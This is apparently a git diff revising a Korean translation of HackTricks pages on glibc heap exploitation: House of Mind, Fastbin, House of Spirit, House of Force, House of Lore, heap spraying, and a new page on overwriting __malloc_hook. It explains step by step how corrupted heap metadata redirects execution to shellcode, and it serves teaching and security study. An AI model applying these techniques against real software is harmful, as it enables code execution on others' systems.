하나를 다시 사용하려면 문제가 없이 할당됩니다. 다른 것을 사용하려면 이전 예약이 작성한 데이터로 fd 및 bk 포인터가 왜곡됩니다.
|
||||
|
||||
**After free()**
|
||||
|
||||
이전에 해제된 포인터가 제어 없이 다시 사용됩니다.
|
||||
|
||||
## **8 Heap Overflows: Exploits avanzados**
|
||||
## **8 힙 오버플로우: 고급 익스플로잇**
|
||||
|
||||
unlink() 및 FrontLink() 기술은 unlink() 함수를 수정함으로써 제거되었습니다.
|
||||
|
||||
**The house of mind**
|
||||
|
||||
임의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전에 오버플로우될 수 있는 두 번째 청크를 찾고 해제될 수 있어야 합니다.
|
||||
임의의 코드 실행을 유발하기 위해 free()를 한 번 호출하는 것만으로 충분합니다. 이전 버퍼에 의해 오버플로우되고 해제될 수 있는 두 번째 청크를 찾는 것이 중요합니다.
|
||||
|
||||
free()를 호출하면 public\_fREe(mem)이 호출됩니다. 이 함수는 다음과 같은 작업을 수행합니다:
|
||||
free() 호출은 public\_fREe(mem)을 호출하게 되며 다음을 수행합니다:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
|
@ -396,7 +386,7 @@ mchunkptr p;
|
|||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> 청크가 시작하는 위치를 가리키는 포인터를 반환합니다 (mem-8)
|
||||
p = mem2chunk(mes); —> 청크가 시작하는 주소를 가리키는 포인터를 반환합니다 (mem-8)
|
||||
|
||||
…
|
||||
|
||||
|
@ -408,11 +398,9 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
|
|||
|
||||
}
|
||||
|
||||
\[1]에서 NON\_MAIN\_ARENA 비트를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행하도록 변경할 수 있습니다. 이렇게 하면 "mem"에 AND를 적용하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar\_ptr(구조체 heap\_info처럼)에 액세스합니다.
|
||||
\[1]에서 NON\_MAIN\_ARENA 비트를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행할 수 있도록 변경할 수 있습니다. 이렇게 하면 0x0804a000에 청크를 제어할 수 있고 **0x081002a0**에 청크를 해제할 수 있습니다. 이 경우 0x08100000 주소로 이동하여 원하는 내용을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환합니다 (0x081002a0에 and 연산을 적용하고 그 값의 처음 4바이트 값을 가져와서 ar\_ptr로 사용함).
|
||||
|
||||
따라서 예를 들어 0x0804a000에 청크를 제어하고 **0x081002a0**에 청크를 해제할 수 있다면 0x08100000으로 이동하여 원하는 내용을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 두 번째 청크가 해제되면 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환할 것입니다 (0x081002a0에 AND가 적용되고 그 값에서 처음 4바이트의 값을 가져오기 때문입니다).
|
||||
|
||||
\_int\_free(ar\_ptr, mem)를 호출하게 되며, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
\_int\_free(ar\_ptr, mem)를 호출하게 되며, **\_int\_free(0x0804a000, 0x081002a0)**가 됩니다.\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted\_chunks(av);\
|
||||
|
@ -424,95 +412,97 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
앞에서 본 대로 av의 값을 제어할 수 있기 때문에 av에 쓴 값을 제어할 수 있습니다.
|
||||
앞서 본 대로 av의 값을 제어할 수 있으므로 청크가 해제될 때 쓴 값을 제어할 수 있습니다.
|
||||
|
||||
unsorted\_chunks가 정의된 대로 알 수 있습니다:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 prev\_size 주소가 쓰입니다.
|
||||
따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 주소가 쓰입니다.
|
||||
|
||||
즉, 첫 번째 청크에는 av->bins\[2]에서 많은 양의 \_\_DTOR\_END\_\_-12 주소를 넣어야 합니다. av->bins\[2]에서 값을 가져오기 때문입니다.
|
||||
즉, 첫 번째 청크의 시작 부분에 여러 번 \_\_DTOR\_END\_\_-12 주소를 넣어야 합니다. av->bins\[2]에서 이 주소를 가져오기 때문입니다.
|
||||
|
||||
두 번째 청크에서는 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA로 활성화하기 위해 값을 써야 합니다.
|
||||
두 번째 청크의 주소가 떨어지는 곳에 마지막 5자리 0이 있는 곳에 첫 번째 청크의 주소를 써야 합니다. 그러면 heap\_for\_ptr()가 ar\_ptr이 첫 번째 청크의 시작 부분에 있다고 생각하고 av->bins\[2]를 가져올 것입니다.
|
||||
|
||||
다음으로 많은 nops를 넣고 마지막으로 shellcode를 넣습니다.
|
||||
두 번째 청크에서 첫 번째 청크의 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA로 활성화합니다.
|
||||
|
||||
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_의 주소가 TROZO2의 prev\_size로 쓰이며 shellcode로 이동합니다.
|
||||
그런 다음 두 번째 청크에 많은 nops를 넣고 마지막으로 shellcode를 넣습니다.
|
||||
|
||||
이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_의 주소가 TROZO2의 prev\_size로 쓰여 shellcode로 이동합니다.
|
||||
이 기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야합니다.
|
||||
|
||||
이 기술은 더 이상 적용되지 않습니다. unlink에 대한 거의 동일한 패치가 적용되었기 때문입니다. 새로 가리키는 사이트가 자신을 가리키고 있는지 확인됩니다.
|
||||
이 기술은 더 이상 적용되지 않습니다. unlink에 대한 거의 동일한 패치가 적용되었습니다. 새로운 대상 사이트가 자신을 가리키고 있는지 확인됩니다.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
The house of mind의 변형입니다.
|
||||
|
||||
우리는 \_int\_free() 함수의 첫 번째 확인 후에 다음 코드를 실행하고 싶어합니다.
|
||||
우리는 \_int\_free() 함수의 첫 번째 확인 후에 도달하는 다음 코드를 실행하는 것에 관심이 있습니다.
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
…
|
||||
...
|
||||
|
||||
p->fd = \*fb
|
||||
|
||||
\*fb = p
|
||||
|
||||
이렇게 함으로써 "fb"에 함수의 주소가 주어지고, 이 주소에 덮어쓰기 할 조각의 주소가 들어갑니다. 이를 위해서는 아레나가 dtors 주소 근처에 있어야합니다. 더 정확히 말하면 av->max\_fast가 덮어쓸 주소에 있어야합니다.
|
||||
이렇게하면 "fb"에 함수의 주소가 제공되며,이 주소에 덮어 쓰여진 조각의 주소가 들어갑니다. 이를 위해 아레나가 dtors 주소 근처에 있어야합니다. 더 정확히 말하면 av->max\_fast가 덮어쓸 주소에 있어야합니다.
|
||||
|
||||
The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알았기 때문에,
|
||||
The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알았기 때문에.
|
||||
|
||||
size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()가 fastbins\[-1\]을 반환하고, 이는 av->max\_fast를 가리킵니다.
|
||||
따라서 크기 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE 크기를 넣으면 fastbin\_index()가 fastbins\[-1]을 반환하고 av->max\_fast를 가리키게됩니다.
|
||||
|
||||
이 경우 av->max\_fast가 덮어쓰여질 주소가 될 것입니다.
|
||||
이 경우 av->max\_fast가 덮어쓰여질 주소가됩니다 (가리키는 것이 아니라 덮어쓰여질 위치가됩니다).
|
||||
|
||||
또한, 해제된 인접 조각은 8보다 커야합니다. - 해제된 조각의 크기가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 쉘코드가 해제된 조각에 들어갈 것이므로, 처음에는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
또한 해제된 조각 옆에 연속적인 조각이 8보다 커야합니다. 우리가 해제된 조각의 크기가 8이라고 말했기 때문에, 이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 셸코드가 해제된 조각에 들어갈 것이므로, 처음에는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
|
||||
또한, 이 가짜 조각은 av->system\_mem보다 작아야합니다. av->system\_mem은 1848바이트 떨어진 곳에 있습니다.
|
||||
또한, 동일한 가짜 조각은 av->system\_mem보다 작아야합니다. av->system\_mem은 1848 바이트 떨어진 곳에 있습니다.
|
||||
|
||||
\_DTOR\_END\_의 널 값과 GOT의 적은 주소로 인해, 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않습니다. 따라서 스택을 공격하기 위해 fastbin을 어떻게 적용할지 살펴보겠습니다.
|
||||
\_DTOR\_END\_의 널 값과 GOT의 적은 주소로 인해 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않습니다. 따라서 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴 봅시다.
|
||||
|
||||
다른 공격 방법은 **av**를 스택으로 리다이렉션하는 것입니다.
|
||||
다른 공격 방법은 **av**를 스택으로 리디렉션하는 것입니다.
|
||||
|
||||
size를 8이 아닌 16으로 변경하면 fastbin\_index()가 fastbins\[0\]을 반환하고, 이를 사용하여 스택을 덮어쓸 수 있습니다.
|
||||
크기를 8 대신 16으로 변경하여 fastbin\_index()가 fastbins\[0]을 반환하고 이를 사용하여 스택을 덮어 쓸 수 있습니다.
|
||||
|
||||
이를 위해서는 스택에 canary나 이상한 값이 없어야하며, 실제로 여기에 있어야합니다: 4바이트 널 + EBP + RET
|
||||
이를 위해 스택에 canary나 이상한 값이 없어야하며 실제로 여기에 있어야합니다: 4바이트 널 + EBP + RET
|
||||
|
||||
4바이트 널은 **av**가 이 주소에 있어야하며, **av**의 첫 번째 요소는 0이어야합니다.
|
||||
4 바이트 널은 **av**가이 주소에 있어야하며 **av**의 첫 번째 요소는 0이어야하는 mutex입니다.
|
||||
|
||||
**av->max\_fast**는 EBP가되며 제한 사항을 우회하는 데 사용되는 값입니다.
|
||||
|
||||
**av->fastbins\[0\]**에는 **p**의 주소가 덮어쓰여지며 RET이되어 쉘코드로 이동합니다.
|
||||
**av->fastbins\[0]**에는 **p**의 주소가 덮어쓰여지고 RET이되며, 이렇게하면 셸코드로 이동합니다.
|
||||
|
||||
또한, **av->system\_mem** (스택 위치에서 1484바이트 위)에는 우리가 수행할 확인을 우회하는 데 도움이 되는 많은 쓰레기가 있어야합니다.
|
||||
또한 **av->system\_mem**(스택 위치에서 1484 바이트 떨어진 곳)에는 우리가 수행하는 확인을 우회 할 수있는 충분한 쓰레기가 있어야합니다.
|
||||
|
||||
또한, 해제된 인접 조각은 8보다 커야합니다. - 해제된 조각의 크기가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 쉘코드가 해제된 조각에 들어갈 것이므로, 처음에는 새로운 가짜 조각의 size 필드 뒤에 오는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
또한 해제된 조각 옆에 연속적인 조각이 8보다 커야합니다 -> 우리가 해제된 조각의 크기가 16이라고 말했기 때문에,이 가짜 조각에는 8보다 큰 크기를 넣어야합니다 (또한 셸코드가 해제된 조각에 들어갈 것이므로, 새로운 가짜 조각의 크기 필드 뒤에 오는 nops로 떨어지는 jmp를 넣어야합니다).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
이 경우에는 공격자가 조작 가능한 malloc 포인터를 가져야합니다 (예: 포인터가 변수 오버플로우 아래 스택에 있는 경우).
|
||||
이 경우에는 공격자가 조작 가능한 malloc 포인터를 가지고 있는 malloc을 찾습니다 (예 : 포인터가 변수의 오버플로우 아래 스택에 있는 경우).
|
||||
|
||||
따라서이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야하며, 미래의 malloc() 호출에 요청된 크기와 정확히 같아야합니다. 따라서, 이 취약한 포인터 뒤에 malloc(40)이 호출된다고 가정하면, 가짜 조각의 크기는 48과 같아야합니다.
|
||||
따라서이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야하며 미래의 malloc() 호출에 요청 된 크기와 정확히 같아야합니다. 따라서이 취약한 포인터 뒤에 malloc(40)이 호출된다고 알고 있다면 가짜 조각의 크기는 48과 같아야합니다.
|
||||
|
||||
예를 들어 프로그램이 사용자에게 숫자를 묻는 경우 48을 입력하고 malloc 포인터를 다음 4바이트에 가리키도록 할 수 있습니다 (이는 운이 좋다면 EBP에 속할 수 있으므로, 48이 뒤에 남게됩니다. 마치 헤더 크기처럼). 또한, ptr-4+48 주소는 여러 조건을 충족해야합니다 (이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system\_mem.
|
||||
예를 들어 프로그램이 사용자에게 숫자를 묻는 경우 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 지정할 수 있습니다 (운이 좋다면 EBP에 속할 수 있음, 따라서 48은 뒤에 남아 있습니다. 크기 헤더처럼). 또한 ptr-4+48 주소는 여러 조건을 충족해야합니다 (이 경우 ptr = EBP), 즉 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
이 조건이 충족되면, 우리가 말한 malloc(40)이 호출될 때 EBP의 주소가 할당됩니다. 공격자가이 malloc에 쓰여진 내용을 제어할 수있는 경우 EBP 및 EIP를 원하는 주소로 덮어쓸 수 있습니다.
|
||||
이 조건이 충족되면 우리가 말한 malloc(40)을 호출하면 EBP의 주소가 할당됩니다. 공격자가이 malloc에 쓰여진 내용을 제어 할 수있는 경우 EBP 및 EIP를 원하는 주소로 덮어 쓸 수 있습니다.
|
||||
|
||||
이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다. 따라서 그 주소를 할당합니다.
|
||||
이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이있음을 저장하기 때문이라고 생각합니다. 따라서이 주소를 할당합니다.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
필요한 것:
|
||||
|
||||
* wilderness를 덮어쓸 수있는 조각에 대한 오버플로우
|
||||
* 사용자가 정의한 크기로 malloc()를 호출
|
||||
* 사용자가 정의한 데이터로 malloc()를 호출
|
||||
* wilderness를 덮어 쓸 수있는 조각의 오버플로우
|
||||
* 사용자가 정의 한 크기로 malloc()를 호출
|
||||
* 사용자가 정의 한 데이터로 malloc()를 호출
|
||||
|
||||
첫 번째로 wilderness 조각의 크기를 매우 큰 값 (0xffffffff)으로 덮어씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장하지 않고 \_int\_malloc()에서 처리됩니다.
|
||||
첫 번째로 wilderness 조각의 크기를 매우 큰 값 (0xffffffff)으로 덮어 씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장하지 않고 \_int\_malloc()에서 처리됩니다.
|
||||
|
||||
두 번째로 av->top을 공격자가 제어하는 메모리 영역 (예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
|
||||
두 번째로 av->top을 공격자가 제어하는 메모리 영역 (예 : 스택)을 가리키도록 변경합니다. av->top에 \&EIP - 8이 들어갑니다.
|
||||
|
||||
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어씌워야합니다:
|
||||
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어 씌워야합니다:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
|
@ -520,85 +510,57 @@ remainder = chunck\_at\_offset(victim, nb);
|
|||
|
||||
av->top = remainder;
|
||||
|
||||
Victim은 현재 wilderness 조각의 주소 (현재 av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수의 합입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있으면, av->top이 다음 malloc()에 대해 $EIP-8을 가리키도록 제어 가능한 malloc에 예약해야하는 바이트 수는 다음과 같습니다:
|
||||
Victim은 현재 wilderness 조각의 주소 (현재 av->top)를 수집하고 remainder는 해당 주소와 malloc()에 의해 요청 된 바이트 수의 합입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있으면 다음 malloc()에 대한 av->top이 $EIP-8을 가리키도록 제어 된 malloc에 예약해야하는 바이트 수는 다음과 같습니다.
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
따라서 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어쓸 수 있습니다.
|
||||
따라서 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어 쓸 수 있습니다.
|
||||
|
||||
새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청된 크기보다 커야합니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면, 크기는 정확히 스택의 EBP 필드에 있게됩니다.
|
||||
새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청 된 크기보다 커야합니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면 크기는 스택의 EBP 필드에 정확히 있습니다.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**SmallBin 손상**
|
||||
|
||||
해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣지 않고 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각이 유용하면 반환되지만 더 큰 조각을 예약하면 unsorted bins에 있는 조각이 해당하는 적절한 bin에 넣어집니다.
|
||||
해제 된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣지 않고 unsorted bins에 유지됩니다. 그런 다음 새로운 조각을 예약하고 이전에 해제 된 조각이 유용하면 반환되지만 더 큰 조각을 예약하면 unsorted bins에있는 해제 된 조각이 해당하는 적절한 bin에 넣습니다.
|
||||
|
||||
취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 커야하고 MIN\_LARGE\_SIZE(512)보다 작아야합니다.
|
||||
취약한 코드에 도달하려면 메모리 요청은 av->max\_fast (보통 72)보다 크고 MIN\_LARGE\_SIZE (512)보다 작아야합니다.
|
||||
|
||||
bin에 적합한 크기의 조각이 있으면 해당 조각을 반환하고 다음 작업을 수행합니다:
|
||||
bin에 요청 된 크기에 적합한 조각이있는 경우 해당 조각을 해제 한 후 다음을 수행합니다:
|
||||
|
||||
bck = victim->bk; 이전 조각을 가리킵니다. 우리가 변경할 수있는 유일한 정보입니다.
|
||||
bck = victim->bk; 이전 조각을 가리키는 유일한 정보입니다.
|
||||
|
||||
bin->bk = bck; 뒤에서 두 번째 조각이 마지막이되며, bck가 스택을 가리키면 다음 예약된 조각이 이 주소를 받게됩니다.
|
||||
bin->bk = bck; 두 번째로 마지막 조각이되며 bck가 스택을 가리키면 다음 예약 된 조각이이 주소를받습니다.
|
||||
|
||||
bck->fd = bin; 이를 통해이가 bin을 가리키도록하여 목록이 닫힙니다.
|
||||
bck->fd = bin;이 bin을 가리키도록하여 목록을 닫습니다.
|
||||
|
||||
필요한 것:
|
||||
두 개의 malloc이 예약되어야 하며, 첫 번째 malloc에 오버플로우를 발생시킬 수 있어야 하며, 두 번째 malloc이 해제되고 해당 bin에 들어간 후에 오버플로우가 발생해야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc이 예약되어야 함).
|
||||
공격자가 선택한 주소를 가리키는 할당된 malloc이 필요합니다.
|
||||
|
||||
공격자가 선택한 주소를 가리키는 malloc이 공격자에 의해 제어되어야 합니다.
|
||||
목표는 해제된 상태이고 bin에 들어간 하단 조각 위에 오버플로우를 수행할 수 있는 힙을 만드는 것입니다. 이렇게 하면 bk 포인터를 수정하여 원하는 주소로 지정할 수 있습니다.
|
||||
|
||||
목표는 다음과 같습니다. 이미 해제되어 bin에 있는 하위 조각을 오버플로우할 수 있다면, 해당 조각의 bk 포인터를 수정할 수 있습니다. bk 포인터를 수정하고 해당 조각이 bin 목록의 첫 번째로 되어 다시 예약되면, bin을 속일 수 있고, bin에게 다음으로 제공할 조각이 가짜 주소 (예: 스택 또는 GOT)에 있다고 알릴 수 있습니다. 따라서 다른 조각이 다시 예약되고 공격자가 해당 조각에 권한이 있다면, 원하는 위치에 조각이 제공되고 해당 위치에 쓸 수 있습니다.
|
||||
수정된 조각을 해제한 후 해제된 것보다 큰 조각을 다시 할당해야 합니다. 이렇게 하면 수정된 조각이 unsorted bins에서 나와 해당 bin에 들어가게 됩니다.
|
||||
|
||||
수정된 조각을 해제한 후 해제된 조각보다 큰 조각을 예약해야 하며, 이렇게 하면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다.
|
||||
bin이 malloc()이 충분히 호출될 때까지 기다려야 하며 수정된 bin이 사용되어 bin을 속이고 다음 조각이 가짜 주소에 있다고 생각하게 합니다. 그런 다음 원하는 조각이 제공됩니다.
|
||||
|
||||
한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 원하는 주소를 가리키도록해야 합니다.
|
||||
취약점이 가능한 빨리 실행되도록 하려면 다음이 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 이 조각 해제, 수정될 조각보다 큰 조각 다시 예약, 조각 수정 (취약점), 취약한 조각과 크기가 같은 다른 조각 예약, 그리고 선택한 주소를 가리킬 두 번째 조각 예약.
|
||||
|
||||
따라서 bin은 malloc()이 충분히 호출될 때까지 기다려야 하며, 수정된 bin이 다시 사용되고 bin을 속여 다음 조각이 가짜 주소에 있다고 믿게 해야 합니다. 그런 다음 원하는 조각이 제공됩니다.
|
||||
|
||||
취약점이 가능한 빨리 실행되도록하려면 다음이 이상적일 것입니다. 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약점), 취약한 조각과 동일한 크기의 조각 예약, 그리고 취약한 조각과 동일한 크기의 두 번째 조각 예약하고 이것이 선택한 주소를 가리키게 합니다.
|
||||
|
||||
이 공격을 방어하기 위해 "가짜" 조각이 아닌지를 확인하는 전형적인 확인이 사용됩니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜 조각을 가리키는 bck->fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다.
|
||||
이 공격을 방어하기 위해 "가짜" 조각이 아닌지 확인하는 전형적인 확인이 사용됩니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 스택에 가짜 조각을 가리키는 bck->fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 적절한 주소로 victim의 주소를 어떤 방식으로든 (아마도 스택을 통해) 쓸 수 있어야 합니다. 이렇게 하면 진짜 조각처럼 보일 수 있습니다.
|
||||
|
||||
**LargeBin 손상**
|
||||
|
||||
이전과 동일한 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.
|
||||
이전과 같은 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.
|
||||
|
||||
공격은 이전과 같이 bk 포인터를 수정해야 하며, 모든 해당 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, size - nb가 < MINSIZE여야 합니다.
|
||||
이전과 같이 공격해야 하지만 수정된 조각의 크기를 수정하여 size - nb가 < MINSIZE가 되도록해야 합니다.
|
||||
|
||||
예를 들어, size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 값을 비교하므로 차이가 음수가 되면 안됨).
|
||||
예를 들어, 1552 크기를 넣어 1552 - 1544 = 8 < MINSIZE가 되도록해야 합니다. (부호 없는 값을 비교하므로 차이가 음수가 되면 안 됩니다)
|
||||
|
||||
또한 더 복잡하게 만드는 패치가 도입되었습니다.
|
||||
|
||||
**힙 스프레이**
|
||||
|
||||
기본적으로 가능한 한 많은 힙 메모리를 예약하고, 이를 nops로 끝나는 셸코드로 채웁니다. 또한 셸코드로 0x0c를 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서이 셀코드로 호출될 주소가 덮어써지면 해당 위치로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어써지는지 확인하고 0x0c0c0c0c로 점프하여 해당 위치에 nops가 있는지 확인하는 것입니다.
|
||||
기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 모두 nop으로 끝나는 셸코드로 채우는 것입니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 이렇게 하면 이 셜코드로 호출될 주소가 덮어씌워지면 거기로 점프합니다. 기본적으로는 가능한 한 많이 예약하여 어떤 포인터가 덮어씌워지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nop이 있는지 확인하는 전략입니다.
|
||||
|
||||
**힙 펑 수이**
|
||||
|
||||
힙을 예약하고 해제하여 예약된 조각과 해제된 조각 사이에 예약된 조각이 남도록 메모리를 정돈하는 것입니다. 오버플로우할 버퍼는 이러한 조각 중 하나에 위치합니다.
|
||||
|
||||
## 흥미로운 코스
|
||||
|
||||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **참고 자료**
|
||||
|
||||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
힙을 예약하고 해제하여 빈 힙 사이에 예약된 조각이 남도록 메모리를 정리하는 것입니다. 오버플로우할 버퍼는 이 중 하나에 위치합니다.
|
||||
|
|
|
@ -0,0 +1,45 @@
|
|||
# AW2Exec - \_\_malloc\_hook
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 히어로까지 AWS 해킹을 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **Malloc Hook**
|
||||
|
||||
공식 GNU 사이트에 따르면 변수 **`__malloc_hook`**은 `malloc()`이 호출될 때 **호출될 함수의 주소를 가리키는 포인터**로, **libc 라이브러리의 데이터 섹션에 저장**됩니다. 따라서 이 주소가 **One Gadget**과 같은 것으로 덮어씌워지고 `malloc`이 호출되면 **One Gadget이 호출**됩니다.
|
||||
|
||||
